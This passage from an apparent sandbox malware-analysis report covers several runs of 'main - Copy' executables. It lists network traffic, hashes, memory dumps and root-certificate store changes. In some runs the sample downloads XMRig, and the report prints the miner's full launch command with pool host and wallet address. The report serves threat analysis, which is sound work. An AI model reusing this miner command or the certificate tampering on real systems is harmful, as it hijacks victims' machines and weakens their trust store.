US 8.8.8.8:53 133.108.199.185.in-addr.arpa udp
US 8.8.8.8:53 70.89.76.45.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 85.65.42.20.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

MD5 e2fe87cc2c7dab8ca6516620dccd1381
SHA1 f714ec0448325435103519452610cf7aadf8bbba
SHA256 d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4
SHA512 8455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6

memory/1296-14-0x0000020063410000-0x0000020063430000-memory.dmp

memory/1296-15-0x0000020064B80000-0x0000020064BA0000-memory.dmp

memory/1296-16-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-18-0x0000020064BA0000-0x0000020064BC0000-memory.dmp

memory/1296-17-0x0000020064BC0000-0x0000020064BE0000-memory.dmp

memory/1296-19-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-20-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-23-0x0000020064BA0000-0x0000020064BC0000-memory.dmp

memory/1296-22-0x0000020064BC0000-0x0000020064BE0000-memory.dmp

memory/1296-21-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-24-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-25-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-26-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-27-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-28-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-29-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-30-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-31-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-32-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-33-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-34-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-35-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-36-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-37-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-38-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-39-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-40-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-41-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-42-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-43-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-44-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-45-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-46-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-47-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-48-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-49-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-50-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-51-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-52-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-53-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-54-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-55-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-56-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-57-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-58-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-59-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-60-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-61-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-62-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-63-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-64-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-65-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-66-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-67-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-68-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-69-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-70-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-71-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-72-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-73-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-74-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-75-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-76-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-77-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-78-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-79-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-80-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-81-0x00007FF778300000-0x00007FF778E03000-memory.dmp

memory/1296-82-0x00007FF778300000-0x00007FF778E03000-memory.dmp

Analysis: behavioral8

Detonation Overview

Submitted

2024-06-14 00:42

Reported

2024-06-14 01:36

Platform

win10v2004-20240508-en

Max time kernel

1791s

Max time network

1804s

Command Line

"C:\Users\Admin\AppData\Local\Temp\main - Copy (5) - Copy.exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\main - Copy (5) - Copy.exe

"C:\Users\Admin\AppData\Local\Temp\main - Copy (5) - Copy.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=3916,i,6576818814118437872,11004518367271063231,262144 --variations-seed-version --mojo-platform-channel-handle=1424 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=3764,i,6576818814118437872,11004518367271063231,262144 --variations-seed-version --mojo-platform-channel-handle=3780 /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 github.com udp

Files

N/A

Analysis: behavioral9

Detonation Overview

Submitted

2024-06-14 00:42

Reported

2024-06-14 01:37

Platform

win10v2004-20240611-en

Max time kernel

1793s

Max time network

1801s

Command Line

"C:\Users\Admin\AppData\Local\Temp\main - Copy (5).exe"

Signatures

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

xmrig

miner xmrig

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\main - Copy (5).exe

"C:\Users\Admin\AppData\Local\Temp\main - Copy (5).exe"

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

xmrig-6.21.0\xmrig.exe --url pool.hashvault.pro:80 --user 46DiTxnXmukGpoGKFDViugiZA1Zuu181wJGSTvGVyJUv4HAdJaozh3jMX7nAEauswGVAUvLnY6tai2AbiKv9Pbt2EAsu8yR --pass T --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 0.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 objects.githubusercontent.com udp
US 185.199.108.133:443 objects.githubusercontent.com tcp
NL 23.62.61.97:443 www.bing.com tcp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 133.108.199.185.in-addr.arpa udp
US 8.8.8.8:53 97.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 pool.hashvault.pro udp
DE 45.76.89.70:80 pool.hashvault.pro tcp
US 8.8.8.8:53 70.89.76.45.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 9.179.89.13.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

MD5 e2fe87cc2c7dab8ca6516620dccd1381
SHA1 f714ec0448325435103519452610cf7aadf8bbba
SHA256 d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4
SHA512 8455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6

memory/1380-14-0x00000254FBE40000-0x00000254FBE60000-memory.dmp

memory/1380-15-0x00000254FBE90000-0x00000254FBEB0000-memory.dmp

memory/1380-16-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-18-0x00000254FD770000-0x00000254FD790000-memory.dmp

memory/1380-17-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-19-0x00000254FD790000-0x00000254FD7B0000-memory.dmp

memory/1380-20-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-22-0x00000254FD770000-0x00000254FD790000-memory.dmp

memory/1380-21-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-23-0x00000254FD790000-0x00000254FD7B0000-memory.dmp

memory/1380-24-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-25-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-26-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-27-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-28-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-29-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-30-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-31-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-32-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-33-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-34-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-35-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-36-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-37-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-38-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-39-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-40-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-41-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-42-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-43-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-44-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-45-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-46-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-47-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-48-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-49-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-50-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-51-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-52-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-53-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-54-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-55-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-56-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-57-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-58-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-59-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-60-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-61-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-62-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-63-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-64-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-65-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-66-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-67-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-68-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-69-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-70-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-71-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-72-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-73-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-74-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-75-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-76-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-77-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-78-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-79-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-80-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-81-0x00007FF641160000-0x00007FF641C63000-memory.dmp

memory/1380-82-0x00007FF641160000-0x00007FF641C63000-memory.dmp

Analysis: behavioral18

Detonation Overview

Submitted

2024-06-14 00:42

Reported

2024-06-14 01:43

Platform

win10v2004-20240508-en

Max time kernel

1800s

Max time network

1512s

Command Line

"C:\Users\Admin\AppData\Local\Temp\main - Copy - Copy.exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\main - Copy - Copy.exe

"C:\Users\Admin\AppData\Local\Temp\main - Copy - Copy.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 github.com udp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 udp

Files

N/A

Analysis: behavioral19

Detonation Overview

Submitted

2024-06-14 00:42

Reported

2024-06-14 01:43

Platform

win10v2004-20240611-en

Max time kernel

1794s

Max time network

1806s

Command Line

"C:\Users\Admin\AppData\Local\Temp\main - Copy.exe"

Signatures

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

xmrig

miner xmrig

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 C:\Users\Admin\AppData\Local\Temp\main - Copy.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Admin\AppData\Local\Temp\main - Copy.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Admin\AppData\Local\Temp\main - Copy.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\main - Copy.exe

"C:\Users\Admin\AppData\Local\Temp\main - Copy.exe"

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

xmrig-6.21.0\xmrig.exe --url pool.hashvault.pro:80 --user 46DiTxnXmukGpoGKFDViugiZA1Zuu181wJGSTvGVyJUv4HAdJaozh3jMX7nAEauswGVAUvLnY6tai2AbiKv9Pbt2EAsu8yR --pass T --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
NL 23.62.61.194:443 www.bing.com tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 68.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 194.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 objects.githubusercontent.com udp
US 185.199.108.133:443 objects.githubusercontent.com tcp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 133.108.199.185.in-addr.arpa udp
US 8.8.8.8:53 pool.hashvault.pro udp
DE 95.179.241.203:80 pool.hashvault.pro tcp
US 8.8.8.8:53 203.241.179.95.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 95.16.208.104.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

MD5 e2fe87cc2c7dab8ca6516620dccd1381
SHA1 f714ec0448325435103519452610cf7aadf8bbba
SHA256 d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4
SHA512 8455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6

memory/1788-14-0x0000026B9F220000-0x0000026B9F240000-memory.dmp

memory/1788-15-0x0000026BA0C10000-0x0000026BA0C30000-memory.dmp

memory/1788-16-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-17-0x0000026BA0C50000-0x0000026BA0C70000-memory.dmp

memory/1788-18-0x0000026BA0C30000-0x0000026BA0C50000-memory.dmp

